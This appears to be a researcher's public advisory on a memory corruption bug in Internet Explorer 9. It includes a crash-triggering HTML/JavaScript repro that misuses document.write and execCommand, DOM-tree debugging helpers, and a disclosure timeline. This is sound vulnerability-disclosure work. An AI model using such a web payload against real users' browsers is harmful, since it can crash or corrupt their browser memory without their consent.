<!--
Source: http://blog.skylined.nl/20161209001.html
Synopsis
A specially crafted web-page can trigger a memory corruption vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.
Known affected software and attack vectors
Microsoft Internet Explorer 9
An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.
Details
This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. In addition, EIP said they were already aware of the bug and provided no details, this issue appears to have been fixed before ZDI was able to look at it. I have included a number of reports created using a predecessor of BugId below.
Repro.html:
-->
<html>
<head>
<script src="getElementTree.js"></script>
<script src="show.html"></script>
<script>
// First tag can be any inline but must NOT be closed yet
// Second tag can be anything that's not inline.
// "text1" can be anything
document.write('<s><br>text1');
// The tree is in good shape.
show("DOM Tree after first write", getElementTree(document.body));
// At this point, it appears that MSIE is still waiting for the first tag from the first write to be closed.
// Inserting a P tag using any of the "Justify*"-, "Indent"- or "Outdent"-execCommands will mess up the DOM tree,
// specifically for the "Justify*"- and "Outdent"-execCommand:
// - the S tag will partially become a child of the P tag:
// P.lastChild == S (but P.childNodes = [BR, text1])
// - the P tag will partially become a child of the S tag:
// S.firstChild == P and S.childNodes = [P] (but S.lastChild = text1)
// - The P partially becomes a child of the BODY tag:
// BODY.lastChild = P (but BODY.firstChild = S and BODY.childNodes = [S])
// (The situation is similar for "Indent", but includes a BLOCKQUOTE element)
document.execCommand('SelectAll');
document.execCommand('JustifyRight');
show("DOM Tree after outdent", getElementTree(document.body));
// At this point, MSIE is not yet crashing. However, another write will corrupt memory:
document.write('text2');
// You will probably not see this popup. If you do, it will display an obviously corrupt DOM element tree.
show("DOM Tree after write", getElementTree(document.body));
</script>
</head>
</html>
<!--
getElementTree.js:
function getElementTree(oRootElement, bIncludeAll) {
function getElementName(oElement) {
return oElement ? (oElement.tagName || oElement.nodeName + ':"' + oElement.data + '"') : "null";
}
function getElementTreeLines(oElement, oExpectedParent, oExpectedPreviousSibling, oExpectedNextSibling,
sFirstLinePrefix, sSubLinesPrefix) {
if (!oElement) return [sFirstLinePrefix + "null"];
var aoChildren = oElement.childNodes,
sHeader = sFirstLinePrefix + getElementName(oElement);
try {
if (oExpectedParent && oElement.parentNode != oExpectedParent)
sHeader += " (parent:" + getElementName(oElement.parentNode) + ")";
} catch (e) {
sHeader += " (parent error:" + e.message + ")";
}
try {
if (oElement.previousSibling != oExpectedPreviousSibling) {
sHeader += " (previousSibling:" + getElementName(oElement.previousSibling) + ")";
oExpectedPreviousSibling && aoShouldBeIncludedElements.push(oElement.previousSibling);
}
} catch (e) {
sHeader += " (previousSibling error:" + e.message + ")";
}
try {
if (oElement.nextSibling != oExpectedNextSibling) {
sHeader += " (nextSibling:" + getElementName(oElement.nextSibling) + ")";
oExpectedNextSibling && aoShouldBeIncludedElements.push(oElement.nextSibling);
}
} catch (e) {
sHeader += " (nextSibling error:" + e.message + ")";
}
try {
if (aoChildren.length > 0 && oElement.firstChild != aoChildren.item(0)) {
sHeader += " (firstChild:" + getElementName(oElement.firstChild) + ")";
aoShouldBeIncludedElements.push(oElement.firstChild);
}
} catch (e) {
sHeader += " (firstChild error:" + e.message + ")";
}
for (var i = 0; i < aoActuallyIncludedElements.length; i++) {
if (aoActuallyIncludedElements[i] == oElement) {
return [sHeader + " => previously referenced!"];
}
}
var sLastChildErrorLine = null;
try {
if (aoChildren.length > 0 && oElement.lastChild != aoChildren.item(aoChildren.length - 1)) {
sLastChildErrorLine = sSubLinesPrefix + "\u2514 lastChild:" + getElementName(oElement.lastChild);
aoShouldBeIncludedElements.push(oElement.lastChild);
}
} catch (e) {
sLastChildErrorLine = sSubLinesPrefix + "\u2514 lastChild error:" + e.message;
}
aoActuallyIncludedElements.push(oElement);
var asTree = [sHeader], oPreviousSibling = null;
for (var i = 0; i < aoChildren.length; i++) {
try {
var oChild = aoChildren.item(i)
} catch (e) {
asTree.push(sSubLinesPrefix + (i == aoChildren.length - 1 ? "\u255A" : "\u2560") + "child error:" + e.message);
continue;
}
try {
var oNextSibling = i + 1 <= aoChildren.length - 1 ? aoChildren.item(i + 1) : null;
} catch (e) {
oNextSibling = "error: " + e.message;
}
var asChildTree = getElementTreeLines(oChild, oElement, oPreviousSibling, oNextSibling,
sSubLinesPrefix + (i == aoChildren.length - 1 ? "\u255A" : "\u2560"),
sSubLinesPrefix + (i == aoChildren.length - 1 ? (sLastChildErrorLine ? "\u2502" : " ") : "\u2551"));
oPreviousSibling = oChild;
for (j = 0; j < asChildTree.length; j++) {
asTree.push(asChildTree[j]);
}
}
if (sLastChildErrorLine) {
asTree.push(sLastChildErrorLine);
}
return asTree;
}
var aoShouldBeIncludedElements = [oRootElement], aoActuallyIncludedElements = []
var asTreeBlocks = [];
find_next_missing_element:
while(aoShouldBeIncludedElements.length) {
var oShouldBeIncludedElement = aoShouldBeIncludedElements.pop();
for (var j = 0; j < aoActuallyIncludedElements.length; j++) {
if (oShouldBeIncludedElement == aoActuallyIncludedElements[j]) {
continue find_next_missing_element;
}
}
asTreeLines = getElementTreeLines(oShouldBeIncludedElement, oShouldBeIncludedElement.parentNode,
oShouldBeIncludedElement.previousSibling, oShouldBeIncludedElement.nextSibling,
oShouldBeIncludedElement.parentNode ? "\u255A" : "",
oShouldBeIncludedElement.parentNode ? " " : "");
asTreeBlocks.push(asTreeLines.join("\r\n"));
if (!bIncludeAll) break;
}
return asTreeBlocks.join("\r\n");
}
show.html:
//<!--
function show(sTitle, sMessage) {
showModalDialog("show.html", [sTitle, "<pre>" + sMessage + "</pre>"],
"dialogWidth:800px; dialogHeight:600px; resizable:yes");
}
/*-->
<script>
document.body.innerHTML = window.dialogArguments[1];
document.title = window.dialogArguments[0];
</script>
<!-- */ // -->
Time-line
27 September 2012: This vulnerability was found through fuzzing.
7 November 2012: This vulnerability was submitted to EIP.
27 November 2012: This vulnerability was rejected by EIP.
28 November 2012: This vulnerability was submitted to ZDI.
Between December 2012 and February 2013: Microsoft addresses this vulnerability.
27 February 2012: This vulnerability was rejected by ZDI.
8 December 2016: Details of this vulnerability are released.
I would like to note that although ZDI did not acquire the vulnerability as it was patched before they could finish analysis, they did offer me ZDI reward points as a courtesy.
-->